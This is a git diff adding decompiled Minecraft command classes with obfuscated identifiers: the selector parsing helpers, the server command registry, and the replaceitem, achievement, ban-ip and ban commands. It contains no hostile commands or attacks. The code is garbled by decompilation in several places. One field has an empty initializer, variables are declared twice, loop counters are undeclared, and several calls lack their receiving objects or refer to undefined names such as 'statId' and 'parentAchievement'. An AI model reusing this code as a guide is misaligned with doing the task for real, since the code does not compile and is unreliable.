+    return p_179653_0_.containsKey(p_179653_1_) ? MathHelper.parseIntWithDefault((String)p_179653_0_.get(p_179653_1_), p_179653_2_) : p_179653_2_;
+  }
+  
+  private static String func_179651_b(Map p_179651_0_, String p_179651_1_)
+  {
+    return (String)p_179651_0_.get(p_179651_1_);
+  }
+  
+  public static Map func_96560_a(Map p_96560_0_)
+  {
+    HashMap var1 = Maps.newHashMap();
+    Iterator var2 = p_96560_0_.keySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      
+      if ((var3.startsWith("score_")) && (var3.length() > "score_".length()))
+      {
+        var1.put(var3.substring("score_".length()), Integer.valueOf(MathHelper.parseIntWithDefault((String)p_96560_0_.get(var3), 1)));
+      }
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public static boolean matchesMultiplePlayers(String p_82377_0_)
+  {
+    Matcher var1 = tokenPattern.matcher(p_82377_0_);
+    
+    if (!var1.matches())
+    {
+      return false;
+    }
+    
+
+    Map var2 = getArgumentMap(var1.group(2));
+    String var3 = var1.group(1);
+    int var4 = (!"a".equals(var3)) && (!"e".equals(var3)) ? 1 : 0;
+    return func_179653_a(var2, "c", var4) != 1;
+  }
+  
+
+
+
+
+  public static boolean hasArguments(String p_82378_0_)
+  {
+    return tokenPattern.matcher(p_82378_0_).matches();
+  }
+  
+
+
+
+  private static Map getArgumentMap(String p_82381_0_)
+  {
+    HashMap var1 = Maps.newHashMap();
+    
+    if (p_82381_0_ == null)
+    {
+      return var1;
+    }
+    
+
+    int var2 = 0;
+    int var3 = -1;
+    
+    for (Matcher var4 = intListPattern.matcher(p_82381_0_); var4.find(); var3 = var4.end())
+    {
+      String var5 = null;
+      
+      switch (var2++)
+      {
+      case 0: 
+        var5 = "x";
+        break;
+      
+      case 1: 
+        var5 = "y";
+        break;
+      
+      case 2: 
+        var5 = "z";
+        break;
+      
+      case 3: 
+        var5 = "r";
+      }
+      
+      if ((var5 != null) && (var4.group(1).length() > 0))
+      {
+        var1.put(var5, var4.group(1));
+      }
+    }
+    
+    if (var3 < p_82381_0_.length())
+    {
+      Matcher var6 = keyValueListPattern.matcher(var3 == -1 ? p_82381_0_ : p_82381_0_.substring(var3));
+      
+      while (var6.find())
+      {
+        var1.put(var6.group(1), var6.group(2));
+      }
+    }
+    
+    return var1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/ServerCommandManager.java b/src/minecraft/net/minecraft/command/ServerCommandManager.java
new file mode 100644
index 0000000..9c243cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/ServerCommandManager.java
@@ -0,0 +1,159 @@
+package net.minecraft.command;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.command.server.CommandAchievement;
+import net.minecraft.command.server.CommandBanIp;
+import net.minecraft.command.server.CommandBanPlayer;
+import net.minecraft.command.server.CommandBlockLogic;
+import net.minecraft.command.server.CommandBroadcast;
+import net.minecraft.command.server.CommandDeOp;
+import net.minecraft.command.server.CommandListBans;
+import net.minecraft.command.server.CommandListPlayers;
+import net.minecraft.command.server.CommandMessage;
+import net.minecraft.command.server.CommandOp;
+import net.minecraft.command.server.CommandPardonIp;
+import net.minecraft.command.server.CommandPardonPlayer;
+import net.minecraft.command.server.CommandPublishLocalServer;
+import net.minecraft.command.server.CommandSaveAll;
+import net.minecraft.command.server.CommandSaveOff;
+import net.minecraft.command.server.CommandSaveOn;
+import net.minecraft.command.server.CommandScoreboard;
+import net.minecraft.command.server.CommandSetBlock;
+import net.minecraft.command.server.CommandStop;
+import net.minecraft.command.server.CommandSummon;
+import net.minecraft.command.server.CommandTeleport;
+import net.minecraft.command.server.CommandTestFor;
+import net.minecraft.command.server.CommandTestForBlock;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.ChatStyle;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.WorldServer;
+
+public class ServerCommandManager extends CommandHandler implements IAdminCommand
+{
+  private static final String __OBFID = "CL_00000922";
+  
+  public ServerCommandManager()
+  {
+    registerCommand(new CommandTime());
+    registerCommand(new CommandGameMode());
+    registerCommand(new CommandDifficulty());
+    registerCommand(new CommandDefaultGameMode());
+    registerCommand(new CommandKill());
+    registerCommand(new CommandToggleDownfall());
+    registerCommand(new CommandWeather());
+    registerCommand(new CommandXP());
+    registerCommand(new CommandTeleport());
+    registerCommand(new CommandGive());
+    registerCommand(new net.minecraft.command.common.CommandReplaceItem());
+    registerCommand(new CommandStats());
+    registerCommand(new CommandEffect());
+    registerCommand(new CommandEnchant());
+    registerCommand(new CommandParticle());
+    registerCommand(new net.minecraft.command.server.CommandEmote());
+    registerCommand(new CommandShowSeed());
+    registerCommand(new CommandHelp());
+    registerCommand(new CommandDebug());
+    registerCommand(new CommandMessage());
+    registerCommand(new CommandBroadcast());
+    registerCommand(new CommandSetSpawnpoint());
+    registerCommand(new net.minecraft.command.server.CommandSetDefaultSpawnpoint());
+    registerCommand(new CommandGameRule());
+    registerCommand(new CommandClearInventory());
+    registerCommand(new CommandTestFor());
+    registerCommand(new CommandSpreadPlayers());
+    registerCommand(new CommandPlaySound());
+    registerCommand(new CommandScoreboard());
+    registerCommand(new CommandExecuteAt());
+    registerCommand(new CommandTrigger());
+    registerCommand(new CommandAchievement());
+    registerCommand(new CommandSummon());
+    registerCommand(new CommandSetBlock());
+    registerCommand(new CommandFill());
+    registerCommand(new CommandClone());
+    registerCommand(new CommandCompare());
+    registerCommand(new CommandBlockData());
+    registerCommand(new CommandTestForBlock());
+    registerCommand(new net.minecraft.command.server.CommandMessageRaw());
+    registerCommand(new CommandWorldBorder());
+    registerCommand(new CommandTitle());
+    registerCommand(new CommandEntityData());
+    
+    if (MinecraftServer.getServer().isDedicatedServer())
+    {
+      registerCommand(new CommandOp());
+      registerCommand(new CommandDeOp());
+      registerCommand(new CommandStop());
+      registerCommand(new CommandSaveAll());
+      registerCommand(new CommandSaveOff());
+      registerCommand(new CommandSaveOn());
+      registerCommand(new CommandBanIp());
+      registerCommand(new CommandPardonIp());
+      registerCommand(new CommandBanPlayer());
+      registerCommand(new CommandListBans());
+      registerCommand(new CommandPardonPlayer());
+      registerCommand(new CommandServerKick());
+      registerCommand(new CommandListPlayers());
+      registerCommand(new net.minecraft.command.server.CommandWhitelist());
+      registerCommand(new CommandSetPlayerTimeout());
+    }
+    else
+    {
+      registerCommand(new CommandPublishLocalServer());
+    }
+    
+    CommandBase.setAdminCommander(this);
+  }
+  
+  public void notifyOperators(ICommandSender sender, ICommand command, int p_152372_3_, String msgFormat, Object... msgParams)
+  {
+    boolean var6 = true;
+    MinecraftServer var7 = MinecraftServer.getServer();
+    
+    if (!sender.sendCommandFeedback())
+    {
+      var6 = false;
+    }
+    
+    ChatComponentTranslation var8 = new ChatComponentTranslation("chat.type.admin", new Object[] { sender.getName(), new ChatComponentTranslation(msgFormat, msgParams) });
+    var8.getChatStyle().setColor(EnumChatFormatting.GRAY);
+    var8.getChatStyle().setItalic(Boolean.valueOf(true));
+    
+    if (var6)
+    {
+      Iterator var9 = getConfigurationManagerplayerEntityList.iterator();
+      
+      while (var9.hasNext())
+      {
+        EntityPlayer var10 = (EntityPlayer)var9.next();
+        
+        if ((var10 != sender) && (var7.getConfigurationManager().canSendCommands(var10.getGameProfile())) && (command.canCommandSenderUseCommand(sender)))
+        {
+          var10.addChatMessage(var8);
+        }
+      }
+    }
+    
+    if ((sender != var7) && (worldServers[0].getGameRules().getGameRuleBooleanValue("logAdminCommands")))
+    {
+      var7.addChatMessage(var8);
+    }
+    
+    boolean var11 = worldServers[0].getGameRules().getGameRuleBooleanValue("sendCommandFeedback");
+    
+    if ((sender instanceof CommandBlockLogic))
+    {
+      var11 = ((CommandBlockLogic)sender).func_175571_m();
+    }
+    
+    if (((p_152372_3_ & 0x1) != 1) && (var11))
+    {
+      sender.addChatMessage(new ChatComponentTranslation(msgFormat, msgParams));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/SyntaxErrorException.java b/src/minecraft/net/minecraft/command/SyntaxErrorException.java
new file mode 100644
index 0000000..2d27b38
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/SyntaxErrorException.java
@@ -0,0 +1,16 @@
+package net.minecraft.command;
+
+public class SyntaxErrorException extends CommandException
+{
+  private static final String __OBFID = "CL_00001189";
+  
+  public SyntaxErrorException()
+  {
+    this("commands.generic.snytax", new Object[0]);
+  }
+  
+  public SyntaxErrorException(String p_i1361_1_, Object... p_i1361_2_)
+  {
+    super(p_i1361_1_, p_i1361_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/WrongUsageException.java b/src/minecraft/net/minecraft/command/WrongUsageException.java
new file mode 100644
index 0000000..2c1a191
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/WrongUsageException.java
@@ -0,0 +1,11 @@
+package net.minecraft.command;
+
+public class WrongUsageException extends SyntaxErrorException
+{
+  private static final String __OBFID = "CL_00001192";
+  
+  public WrongUsageException(String p_i1364_1_, Object... p_i1364_2_)
+  {
+    super(p_i1364_1_, p_i1364_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/common/CommandReplaceItem.java b/src/minecraft/net/minecraft/command/common/CommandReplaceItem.java
new file mode 100644
index 0000000..4d78929
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/common/CommandReplaceItem.java
@@ -0,0 +1,256 @@
+package net.minecraft.command.common;
+
+import com.google.common.collect.Maps;
+import java.util.Map;
+import net.minecraft.block.Block;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.NumberInvalidException;
+import net.minecraft.command.WrongUsageException;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.world.World;
+
+public class CommandReplaceItem extends CommandBase
+{
+  private static final Map field_175785_a = ;
+  private static final String __OBFID = "CL_00002340";
+  
+  public String getCommandName()
+  {
+    return "replaceitem";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.replaceitem.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 1)
+    {
+      throw new WrongUsageException("commands.replaceitem.usage", new Object[0]);
+    }
+    
+    boolean var3;
+    
+    boolean var3;
+    if (args[0].equals("entity"))
+    {
+      var3 = false;
+    }
+    else
+    {
+      if (!args[0].equals("block"))
+      {
+        throw new WrongUsageException("commands.replaceitem.usage", new Object[0]);
+      }
+      
+      var3 = true;
+    }
+    
+    byte var4;
+    byte var4;
+    if (var3)
+    {
+      if (args.length < 6)
+      {
+        throw new WrongUsageException("commands.replaceitem.block.usage", new Object[0]);
+      }
+      
+      var4 = 4;
+    }
+    else
+    {
+      if (args.length < 4)
+      {
+        throw new WrongUsageException("commands.replaceitem.entity.usage", new Object[0]);
+      }
+      
+      var4 = 2;
+    }
+    
+    int var16 = var4 + 1;
+    int var5 = func_175783_e(args[var4]);
+    
+    Item var6;
+    try
+    {
+      var6 = getItemByText(sender, args[var16]);
+    }
+    catch (NumberInvalidException var15) {
+      Item var6;
+      if (Block.getBlockFromName(args[var16]) != net.minecraft.init.Blocks.air)
+      {
+        throw var15;
+      }
+      
+      var6 = null;
+    }
+    
+    var16++;
+    int var7 = args.length > var16 ? parseInt(args[(var16++)], 1, 64) : 1;
+    int var8 = args.length > var16 ? parseInt(args[(var16++)]) : 0;
+    ItemStack var9 = new ItemStack(var6, var7, var8);
+    
+    if (args.length > var16)
+    {
+      String var10 = getChatComponentFromNthArg(sender, args, var16).getUnformattedText();
+      
+      try
+      {
+        var9.setTagCompound(JsonToNBT.func_180713_a(var10));
+      }
+      catch (NBTException var14)
+      {
+        throw new CommandException("commands.replaceitem.tagError", new Object[] { var14.getMessage() });
+      }
+    }
+    
+    if (var9.getItem() == null)
+    {
+      var9 = null;
+    }
+    
+    if (var3)
+    {
+      sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, 0);
+      BlockPos var17 = func_175757_a(sender, args, 1, false);
+      World var11 = sender.getEntityWorld();
+      net.minecraft.tileentity.TileEntity var12 = var11.getTileEntity(var17);
+      
+      if ((var12 == null) || (!(var12 instanceof IInventory)))
+      {
+        throw new CommandException("commands.replaceitem.noContainer", new Object[] { Integer.valueOf(var17.getX()), Integer.valueOf(var17.getY()), Integer.valueOf(var17.getZ()) });
+      }
+      
+      IInventory var13 = (IInventory)var12;
+      
+      if ((var5 >= 0) && (var5 < var13.getSizeInventory()))
+      {
+        var13.setInventorySlotContents(var5, var9);
+      }
+    }
+    else
+    {
+      Entity var18 = func_175768_b(sender, args[1]);
+      sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, 0);
+      
+      if ((var18 instanceof EntityPlayer))
+      {
+        inventoryContainer.detectAndSendChanges();
+      }
+      
+      if (!var18.func_174820_d(var5, var9))
+      {
+        throw new CommandException("commands.replaceitem.failed", new Object[] { Integer.valueOf(var5), Integer.valueOf(var7), var9 == null ? "Air" : var9.getChatComponent() });
+      }
+      
+      if ((var18 instanceof EntityPlayer))
+      {
+        inventoryContainer.detectAndSendChanges();
+      }
+    }
+    
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, var7);
+    notifyOperators(sender, this, "commands.replaceitem.success", new Object[] { Integer.valueOf(var5), Integer.valueOf(var7), var9 == null ? "Air" : var9.getChatComponent() });
+  }
+  
+  private int func_175783_e(String p_175783_1_)
+    throws CommandException
+  {
+    if (!field_175785_a.containsKey(p_175783_1_))
+    {
+      throw new CommandException("commands.generic.parameter.invalid", new Object[] { p_175783_1_ });
+    }
+    
+
+    return ((Integer)field_175785_a.get(p_175783_1_)).intValue();
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return ((args.length != 3) || (!args[0].equals("entity"))) && ((args.length != 5) || (!args[0].equals("block"))) ? func_175762_a(args, Item.itemRegistry.getKeys()) : ((args.length != 4) || (!args[0].equals("entity"))) && ((args.length != 6) || (!args[0].equals("block"))) ? null : (args.length == 2) && (args[0].equals("entity")) ? getListOfStringsMatchingLastWord(args, func_175784_d()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, new String[] { "entity", "block" }) : func_175762_a(args, field_175785_a.keySet());
+  }
+  
+  protected String[] func_175784_d()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return (args.length > 0) && (args[0].equals("entity")) && (index == 1);
+  }
+  
+
+
+  static
+  {
+    for (int var0 = 0; var0 < 54; var0++)
+    {
+      field_175785_a.put("slot.container." + var0, Integer.valueOf(var0));
+    }
+    
+    for (var0 = 0; var0 < 9; var0++)
+    {
+      field_175785_a.put("slot.hotbar." + var0, Integer.valueOf(var0));
+    }
+    
+    for (var0 = 0; var0 < 27; var0++)
+    {
+      field_175785_a.put("slot.inventory." + var0, Integer.valueOf(9 + var0));
+    }
+    
+    for (var0 = 0; var0 < 27; var0++)
+    {
+      field_175785_a.put("slot.enderchest." + var0, Integer.valueOf(200 + var0));
+    }
+    
+    for (var0 = 0; var0 < 8; var0++)
+    {
+      field_175785_a.put("slot.villager." + var0, Integer.valueOf(300 + var0));
+    }
+    
+    for (var0 = 0; var0 < 15; var0++)
+    {
+      field_175785_a.put("slot.horse." + var0, Integer.valueOf(500 + var0));
+    }
+    
+    field_175785_a.put("slot.weapon", Integer.valueOf(99));
+    field_175785_a.put("slot.armor.head", Integer.valueOf(103));
+    field_175785_a.put("slot.armor.chest", Integer.valueOf(102));
+    field_175785_a.put("slot.armor.legs", Integer.valueOf(101));
+    field_175785_a.put("slot.armor.feet", Integer.valueOf(100));
+    field_175785_a.put("slot.horse.saddle", Integer.valueOf(400));
+    field_175785_a.put("slot.horse.armor", Integer.valueOf(401));
+    field_175785_a.put("slot.horse.chest", Integer.valueOf(499));
+  }
+  
+  public CommandReplaceItem() {}
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandAchievement.java b/src/minecraft/net/minecraft/command/server/CommandAchievement.java
new file mode 100644
index 0000000..56d3875
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandAchievement.java
@@ -0,0 +1,204 @@
+package net.minecraft.command.server;
+
+import com.google.common.collect.Iterators;
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.stats.Achievement;
+import net.minecraft.stats.AchievementList;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatList;
+import net.minecraft.stats.StatisticsFile;
+import net.minecraft.util.BlockPos;
+
+public class CommandAchievement extends net.minecraft.command.CommandBase
+{
+  private static final String __OBFID = "CL_00000113";
+  
+  public CommandAchievement() {}
+  
+  public String getCommandName()
+  {
+    return "achievement";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.achievement.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.achievement.usage", new Object[0]);
+    }
+    
+
+    final StatBase var3 = StatList.getOneShotStat(args[1]);
+    
+    if ((var3 == null) && (!args[1].equals("*")))
+    {
+      throw new CommandException("commands.achievement.unknownAchievement", new Object[] { args[1] });
+    }
+    
+
+    final EntityPlayerMP var4 = args.length >= 3 ? getPlayer(sender, args[2]) : getCommandSenderAsPlayer(sender);
+    boolean var5 = args[0].equalsIgnoreCase("give");
+    boolean var6 = args[0].equalsIgnoreCase("take");
+    
+    if ((var5) || (var6))
+    {
+      if (var3 == null)
+      {
+
+
+
+        if (var5)
+        {
+          Iterator var11 = AchievementList.achievementList.iterator();
+          
+          while (var11.hasNext())
+          {
+            Achievement var12 = (Achievement)var11.next();
+            var4.triggerAchievement(var12);
+          }
+          
+          notifyOperators(sender, this, "commands.achievement.give.success.all", new Object[] { var4.getName() });
+        }
+        else if (var6)
+        {
+          Iterator var11 = Lists.reverse(AchievementList.achievementList).iterator();
+          
+          while (var11.hasNext())
+          {
+            Achievement var12 = (Achievement)var11.next();
+            var4.func_175145_a(var12);
+          }
+          
+          notifyOperators(sender, this, "commands.achievement.take.success.all", new Object[] { var4.getName() });
+        }
+      }
+      else
+      {
+        if ((var3 instanceof Achievement))
+        {
+          Achievement var7 = (Achievement)var3;
+          
+
+
+
+          if (var5)
+          {
+            if (var4.getStatFile().hasAchievementUnlocked(var7))
+            {
+              throw new CommandException("commands.achievement.alreadyHave", new Object[] { var4.getName(), var3.func_150955_j() });
+            }
+            
+            for (ArrayList var8 = Lists.newArrayList(); (parentAchievement != null) && (!var4.getStatFile().hasAchievementUnlocked(parentAchievement)); var7 = parentAchievement)
+            {
+              var8.add(parentAchievement);
+            }
+            
+            Iterator var9 = Lists.reverse(var8).iterator();
+            
+            while (var9.hasNext())
+            {
+              Achievement var10 = (Achievement)var9.next();
+              var4.triggerAchievement(var10);
+            }
+          }
+          else if (var6)
+          {
+            if (!var4.getStatFile().hasAchievementUnlocked(var7))
+            {
+              throw new CommandException("commands.achievement.dontHave", new Object[] { var4.getName(), var3.func_150955_j() });
+            }
+            
+            ArrayList var8 = Lists.newArrayList(Iterators.filter(AchievementList.achievementList.iterator(), new com.google.common.base.Predicate()
+            {
+              private static final String __OBFID = "CL_00002350";
+              
+              public boolean func_179605_a(Achievement p_179605_1_) {
+                return (var4.getStatFile().hasAchievementUnlocked(p_179605_1_)) && (p_179605_1_ != var3);
+              }
+              
+
+              public boolean apply(Object p_apply_1_) { return func_179605_a((Achievement)p_apply_1_); }
+            }));
+            for (; (parentAchievement != null) && (var4.getStatFile().hasAchievementUnlocked(parentAchievement)); var7 = parentAchievement)
+            {
+              var8.remove(parentAchievement);
+            }
+            Iterator var9 = var8.iterator();
+            
+            while (var9.hasNext())
+            {
+              Achievement var10 = (Achievement)var9.next();
+              var4.func_175145_a(var10);
+            }
+          }
+        }
+        
+        if (var5)
+        {
+          var4.triggerAchievement(var3);
+          notifyOperators(sender, this, "commands.achievement.give.success.one", new Object[] { var4.getName(), var3.func_150955_j() });
+        }
+        else if (var6)
+        {
+          var4.func_175145_a(var3);
+          notifyOperators(sender, this, "commands.achievement.take.success.one", new Object[] { var3.func_150955_j(), var4.getName() });
+        }
+      }
+    }
+  }
+  
+
+
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    if (args.length == 1)
+    {
+      return getListOfStringsMatchingLastWord(args, new String[] { "give", "take" });
+    }
+    if (args.length != 2)
+    {
+      return args.length == 3 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+    }
+    
+
+    ArrayList var4 = Lists.newArrayList();
+    Iterator var5 = StatList.allStats.iterator();
+    
+    while (var5.hasNext())
+    {
+      StatBase var6 = (StatBase)var5.next();
+      var4.add(statId);
+    }
+    
+    return func_175762_a(args, var4);
+  }
+  
+
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandBanIp.java b/src/minecraft/net/minecraft/command/server/CommandBanIp.java
new file mode 100644
index 0000000..81e4258
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandBanIp.java
@@ -0,0 +1,108 @@
+package net.minecraft.command.server;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.command.PlayerNotFoundException;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.BanList;
+import net.minecraft.server.management.IPBanEntry;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+
+public class CommandBanIp extends CommandBase
+{
+  public static final Pattern field_147211_a = Pattern.compile("^([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])\\.([01]?\\d\\d?|2[0-4]\\d|25[0-5])$");
+  private static final String __OBFID = "CL_00000139";
+  
+  public CommandBanIp() {}
+  
+  public String getCommandName() { return "ban-ip"; }
+  
+
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return (MinecraftServer.getServer().getConfigurationManager().getBannedIPs().isLanServer()) && (super.canCommandSenderUseCommand(sender));
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.banip.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length >= 1) && (args[0].length() > 1))
+    {
+      IChatComponent var3 = args.length >= 2 ? getChatComponentFromNthArg(sender, args, 1) : null;
+      Matcher var4 = field_147211_a.matcher(args[0]);
+      
+      if (var4.matches())
+      {
+        func_147210_a(sender, args[0], var3 == null ? null : var3.getUnformattedText());
+      }
+      else
+      {
+        EntityPlayerMP var5 = MinecraftServer.getServer().getConfigurationManager().getPlayerByUsername(args[0]);
+        
+        if (var5 == null)
+        {
+          throw new PlayerNotFoundException("commands.banip.invalid", new Object[0]);
+        }
+        
+        func_147210_a(sender, var5.getPlayerIP(), var3 == null ? null : var3.getUnformattedText());
+      }
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.banip.usage", new Object[0]);
+    }
+  }
+  
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+  protected void func_147210_a(ICommandSender p_147210_1_, String p_147210_2_, String p_147210_3_)
+  {
+    IPBanEntry var4 = new IPBanEntry(p_147210_2_, null, p_147210_1_.getName(), null, p_147210_3_);
+    MinecraftServer.getServer().getConfigurationManager().getBannedIPs().addEntry(var4);
+    List var5 = MinecraftServer.getServer().getConfigurationManager().getPlayersMatchingAddress(p_147210_2_);
+    String[] var6 = new String[var5.size()];
+    int var7 = 0;
+    
+    EntityPlayerMP var9;
+    for (Iterator var8 = var5.iterator(); var8.hasNext(); var6[(var7++)] = var9.getName())
+    {
+      var9 = (EntityPlayerMP)var8.next();
+      playerNetServerHandler.kickPlayerFromServer("You have been IP banned.");
+    }
+    
+    if (var5.isEmpty())
+    {
+      notifyOperators(p_147210_1_, this, "commands.banip.success", new Object[] { p_147210_2_ });
+    }
+    else
+    {
+      notifyOperators(p_147210_1_, this, "commands.banip.success.players", new Object[] { p_147210_2_, joinNiceString(var6) });
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandBanPlayer.java b/src/minecraft/net/minecraft/command/server/CommandBanPlayer.java
new file mode 100644
index 0000000..004482f
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandBanPlayer.java
@@ -0,0 +1,87 @@
+package net.minecraft.command.server;
+
+import net.minecraft.command.CommandBase;
+import net.minecraft.command.CommandException;
+import net.minecraft.command.ICommandSender;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.server.management.UserListBans;
+import net.minecraft.server.management.UserListBansEntry;
+import net.minecraft.util.BlockPos;
+
+public class CommandBanPlayer extends CommandBase
+{
+  private static final String __OBFID = "CL_00000165";
+  
+  public CommandBanPlayer() {}
+  
+  public String getCommandName()
+  {
+    return "ban";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.ban.usage";
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return (MinecraftServer.getServer().getConfigurationManager().getBannedPlayers().isLanServer()) && (super.canCommandSenderUseCommand(sender));
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length >= 1) && (args[0].length() > 0))
+    {
+      MinecraftServer var3 = MinecraftServer.getServer();
+      com.mojang.authlib.GameProfile var4 = var3.getPlayerProfileCache().getGameProfileForUsername(args[0]);
+      
+      if (var4 == null)
+      {
+        throw new CommandException("commands.ban.failed", new Object[] { args[0] });
+      }
+      
+
+      String var5 = null;
+      
+      if (args.length >= 2)
+      {
+        var5 = getChatComponentFromNthArg(sender, args, 1).getUnformattedText();
+      }
+      
+      UserListBansEntry var6 = new UserListBansEntry(var4, null, sender.getName(), null, var5);
+      var3.getConfigurationManager().getBannedPlayers().addEntry(var6);
+      EntityPlayerMP var7 = var3.getConfigurationManager().getPlayerByUsername(args[0]);
+      
+      if (var7 != null)
+      {
+        playerNetServerHandler.kickPlayerFromServer("You are banned from this server.");
+      }
+      
+      notifyOperators(sender, this, "commands.ban.success", new Object[] { args[0] });
+
+    }
+    else
+    {
+      throw new net.minecraft.command.WrongUsageException("commands.ban.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length >= 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/server/CommandBlockLogic.java b/src/minecraft/net/minecraft/command/server/CommandBlockLogic.java
new file mode 100644
index 0000000..cc890a8
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/server/CommandBlockLogic.java
@@ -0,0 +1,266 @@
+package net.minecraft.command.server;
+
+import io.netty.buffer.ByteBuf;
+import java.text.SimpleDateFormat;
+import java.util.concurrent.Callable;
+import net.minecraft.command.CommandResultStats;
+import net.minecraft.command.CommandResultStats.Type;
+import net.minecraft.command.ICommandManager;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.IChatComponent.Serializer;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldServer;
+
+public abstract class CommandBlockLogic implements net.minecraft.command.ICommandSender
+{
+  private static final SimpleDateFormat timestampFormat = new SimpleDateFormat("HH:mm:ss");
+  
+  private int successCount;
+  
+  private boolean trackOutput = true;
+  
+
+  private IChatComponent lastOutput = null;
+  
+
+  private String commandStored = "";
+  
+
+  private String customName = "@";
+  private final CommandResultStats field_175575_g = new CommandResultStats();
+  
+  private static final String __OBFID = "CL_00000128";
+  
+  public CommandBlockLogic() {}
+  
